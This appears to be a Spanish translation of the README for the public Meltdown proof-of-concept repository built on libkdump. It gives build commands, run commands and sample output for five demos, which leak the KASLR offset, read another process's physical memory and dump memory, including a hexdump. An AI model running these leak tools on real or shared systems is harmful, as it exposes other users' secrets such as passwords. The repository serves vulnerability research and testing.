
Demos de prueba de concepto y la librería libkdump que demuestran el ataque de microarquitectura Meltdown, filtrando memoria del kernel y memoria física en CPUs Intel vulnerables.
Este repositorio contiene varias aplicaciones que demuestran el error de Meltdown. Para obtener información técnica sobre el error, consulte el artículo:
Las aplicaciones de este repositorio están construidas con libkdump, una biblioteca que desarrollamos para el artículo. Esta biblioteca simplifica la explotación del error al adaptarse automáticamente a ciertas propiedades del entorno.
Este repositorio contiene varios vídeos que demuestran Meltdown
Este repositorio contiene cinco demos para demostrar diferentes casos de uso. Todas las demos están probadas en Ubuntu 16.04 con un Intel Core i7-6700K, pero deberían funcionar en cualquier sistema Linux con cualquier CPU Intel moderna desde 2010.
Para obtener los mejores resultados, recomendamos una CPU rápida que admita Intel TSX (por ejemplo, cualquier Intel Core i7-5xxx, i7-6xxx o i7-7xxx). Además, cada demo debería fijarse a un núcleo de CPU, por ejemplo con taskset.
Como requisito previo, necesita instalar glibc-static en su máquina.
Para sistemas basados en RPM:
sudo yum install -y glibc-static
test)Esta es la demo más básica. Usa Meltdown para leer direcciones accesibles desde su propio espacio de direcciones, sin romper ningún mecanismo de aislamiento.
Si esta demo no funciona en su caso, lo más probable es que las demos restantes tampoco funcionen. Las razones son múltiples, por ejemplo, la CPU podría ser demasiado lenta, no admitir ejecución fuera de orden, el temporizador de alta resolución no ser lo suficientemente preciso (especialmente en máquinas virtuales), el sistema operativo no admitir manejadores de señales personalizados, etc.
make
taskset 0x1 ./test
Si ve una salida similar a esta
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
entonces la demo básica funciona.
kaslr)A partir del kernel de Linux 4.12, KASLR (Kernel Address Space Layout Randomizaton) está activo por defecto. Esto significa que la ubicación del kernel (y también el mapa físico directo que asigna toda la memoria física) cambia con cada reinicio.
Esta demo usa Meltdown para filtrar la aleatorización (secreta) del mapa físico directo. Esta demo requiere privilegios de root para acelerar el proceso. El artículo describe una variante que no requiere privilegios de root.
make
sudo taskset 0x1 ./kaslr
Después de unos segundos, debería ver algo similar a esto
[+] Direct physical map offset: 0xffff880000000000
reliability)Esta demo prueba cuán fiablemente se puede leer la memoria física. Para esta demo, o bien necesita el desplazamiento del mapa físico directo (por ejemplo, de la demo n.º 2) o tiene que deshabilitar KASLR especificando nokaslr en la línea de comandos del kernel.
Compile e inicie reliability. Si tiene KASLR habilitado, el primer parámetro es el desplazamiento del mapa físico directo. De lo contrario, el programa no requiere ningún parámetro.
make
sudo taskset 0x1 ./reliability 0xffff880000000000
Después de unos segundos, debería obtener una salida similar a esta:
[-] Success rate: 99.93% (read 1354 values)
physical_reader)Esta demo lee memoria de un proceso diferente leyendo directamente la memoria física. Para esta demo, o bien necesita el desplazamiento del mapa físico directo (por ejemplo, de la demo n.º 2) o tiene que deshabilitar KASLR especificando nokaslr en la línea de comandos del kernel.
En principio, este programa puede leer direcciones físicas arbitrarias. Sin embargo, como la memoria física contiene muchos datos no legibles por humanos, proporcionamos una herramienta de prueba (secret), que coloca una cadena legible por humanos en la memoria y proporciona directamente la dirección física de esta cadena.
Para la demo, primero ejecute secret (como root) para obtener la dirección física de una cadena legible por humanos:
make
sudo ./secret
Debería mostrar algo como esto:
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
Mientras el programa secret se está ejecutando, inicie physical_reader. El primer parámetro es la dirección física impresa por secret. Si no tiene KASLR deshabilitado, el segundo parámetro es el desplazamiento del mapa físico directo.
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
Después de unos segundos, debería obtener una salida similar a esta:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
memdump)Esta demo vuelca el contenido de la memoria. Al igual que las demos n.º 3 y n.º 4, usa el mapa físico directo para volcar el contenido de la memoria física en un formato similar a un hexdump.
De nuevo, como la memoria física contiene mucho contenido no legible por humanos, proporcionamos una herramienta de prueba para llenar grandes cantidades de la memoria física con cadenas legibles por humanos.
Para la demo, primero ejecute memory_filler para llenar la memoria con cadenas legibles por humanos. El primer argumento es la cantidad de memoria (en gigabytes) que se va a llenar.
make
./memory_filler 9
Luego, ejecute la herramienta memdump para volcar el contenido de la memoria. Si ejecutó memory_filler antes, debería ver algunos fragmentos de cadenas.
Si tiene Firefox o Chrome con varias pestañas abiertas, también podría ver partes de los sitios web que están abiertos o que se cerraron recientemente.
El primer parámetro es la dirección física en la que debe comenzar el volcado (déjelo vacío para comenzar en el primer gigabyte). El segundo parámetro es la cantidad de bytes que desea leer; para leerlo todo, indique -1. Si no tiene KASLR deshabilitado, el tercer parámetro es el desplazamiento del mapa físico directo.
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
Debería obtener un hexdump de partes de la memoria (que potencialmente incluso contenga secretos como contraseñas, consulte el ejemplo en el artículo), por ejemplo:
240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 | spied on an app |
¿Funciona en Windows / Ubuntu on Windows (WSL) / Mac OS?
No. Esta PoC solo funciona en Linux, ya que usa propiedades específicas del kernel de Linux, como el mapa físico directo.
¿Puedo ejecutar la PoC en una máquina virtual?
Sí, la PoC también funciona en máquinas virtuales. Sin embargo, debido a la capa adicional introducida por una máquina virtual, puede que no funcione tan bien como en hardware nativo.
¡El programa KASLR (kaslr) no encuentra el desplazamiento!
La herramienta kaslr solo realiza muy pocas mediciones para ser rápida. Si no encuentra el desplazamiento, hay dos posibilidades:
kaslr.c: config.retries = 1000;kaslr_offset para leer directamente el desplazamiento desde el kernel. Instale los encabezados del kernel para su kernel (sudo apt-get install linux-headers-`uname -r` ) y ejecute sudo ./direct_physical_map.shDijo que funciona en memoria no cacheada, ¡pero todas sus demos aseguran que la memoria esté cacheada!
Hacer que funcione en memoria no cacheada es más complicado y a menudo requiere un poco de ajuste de los parámetros. Por lo tanto, aseguramos que la memoria esté cacheada en la PoC para que sea más fácil de reproducir. Sin embargo, puede simplemente eliminar el código que cachea los valores y reemplazarlo por un clflush para probar el exploit en memoria no cacheada (consulte el Vídeo n.º 5 para ver un ejemplo).
Aunque no estaba en la publicación original del blog de Google, esto también fue confirmado por investigadores independientes (por ejemplo, , , ).
Advertencia n.º 1: Proporcionamos este código tal cual. Usted es responsable de protegerse a sí mismo, a su propiedad y a sus datos, y a los demás, de cualquier riesgo causado por este código. Este código puede provocar un comportamiento inesperado e indeseable en su máquina. Es posible que este código no detecte la vulnerabilidad en su máquina.
Advertencia n.º 2: Si descubre que una computadora es susceptible al error de Meltdown, es posible que desee evitar usarla como sistema multiusuario. Meltdown vulnera la protección de memoria de la CPU. En una máquina susceptible al error de Meltdown, un proceso puede leer todas las páginas usadas por otros procesos o por el kernel.
Advertencia n.º 3: Este código es solo para fines de prueba. No lo ejecute en ningún sistema productivo. No lo ejecute en ningún sistema que pueda ser usado por otra persona o entidad.
Simplemente no funciona en mi computadora, ¿qué puedo hacer?
Puede haber muchas razones diferentes para ello. Reunimos algunas cosas que puede probar:
libkdump/libkdump.c en la línea #define MELTDOWN meltdown_nonull. Pruebe, por ejemplo, meltdown en lugar de meltdown_nonull, que funciona mucho mejor en algunas máquinas (pero no funciona en absoluto en otras).stress con stress -i 2 (u otros valores para el parámetro i, según el número de núcleos).